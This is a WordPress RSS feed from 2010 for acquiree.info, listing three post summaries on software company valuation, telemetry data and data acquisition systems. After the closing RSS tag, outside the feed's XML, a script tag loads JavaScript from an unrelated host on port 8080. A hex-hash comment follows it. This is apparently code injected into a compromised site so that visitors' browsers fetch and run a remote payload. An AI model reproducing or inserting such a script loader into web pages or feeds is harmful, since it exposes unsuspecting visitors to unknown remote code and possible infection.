<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>acquiree &#187; line</title>
	<atom:link href="http://acquiree.info/tag/line/feed" rel="self" type="application/rss+xml" />
	<link>http://acquiree.info</link>
	<description></description>
	<lastBuildDate>Sun, 27 Jun 2010 23:12:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Sell a Software Company &#8211; The Valuation Dilema</title>
		<link>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema</link>
		<comments>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema#comments</comments>
		<pubDate>Wed, 21 Oct 2009 09:58:47 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[acquisition company]]></category>
		<category><![CDATA[Au3]]></category>
		<category><![CDATA[cagc]]></category>
		<category><![CDATA[crew]]></category>
		<category><![CDATA[helper]]></category>
		<category><![CDATA[line]]></category>
		<category><![CDATA[seismic]]></category>

		<guid isPermaLink="false">http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema</guid>
		<description><![CDATA[
One of the most challenging aspects of selling a software company is coming up with a business valuation. Sometimes the valuations provided by the market (translation &#8211; a completed transaction) defy all logic. In other industry segments there are some pretty handy rules of thumb for valuation metrics. In one industry it may be 1 [...]]]></description>
		<wfw:commentRss>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema/feed</wfw:commentRss>
		<slash:comments>51</slash:comments>
		</item>
		<item>
		<title>Evaluating Telemetry Data</title>
		<link>http://acquiree.info/data-acquisition/evaluating-telemetry-data</link>
		<comments>http://acquiree.info/data-acquisition/evaluating-telemetry-data#comments</comments>
		<pubDate>Tue, 04 Aug 2009 18:01:52 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[Au3]]></category>
		<category><![CDATA[cagc]]></category>
		<category><![CDATA[crew]]></category>
		<category><![CDATA[line]]></category>
		<category><![CDATA[seismic]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/evaluating-telemetry-data</guid>
		<description><![CDATA[
The word Telemetry, like all English words, is a culmination of the Greek words tele meaning remote and metron meaning measure. Thus, Telemetry is the science and technology of remote measurement, and relaying of data by wire, radio, or other means from inaccessible locations, as from orbiting satellites or space vehicles, to receiving stations where [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/evaluating-telemetry-data/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Data Acquisition Systems &amp; Research</title>
		<link>http://acquiree.info/data-acquisition/data-acquisition-systems-research</link>
		<comments>http://acquiree.info/data-acquisition/data-acquisition-systems-research#comments</comments>
		<pubDate>Sun, 02 Aug 2009 17:52:58 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[Au3]]></category>
		<category><![CDATA[cagc]]></category>
		<category><![CDATA[crew]]></category>
		<category><![CDATA[helper]]></category>
		<category><![CDATA[line]]></category>
		<category><![CDATA[seismic]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/data-acquisition-systems-research</guid>
		<description><![CDATA[
Data acquisition systems are used for sampling, recording, storing and analyzing real time data. Data acquisition systems, also known as DAQ or DAS, records signals and wave forms of numerous physical quantities such as temperature, pressure, humidity, density, and real life data such as ECGs, EEGs, etc. This recorded data is then fed into a [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/data-acquisition-systems-research/feed</wfw:commentRss>
		<slash:comments>35</slash:comments>
		</item>
	</channel>
</rss>



<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Undo.js"></script>
<!--70f30cb1c91cb389cf52a072dc1de0cc-->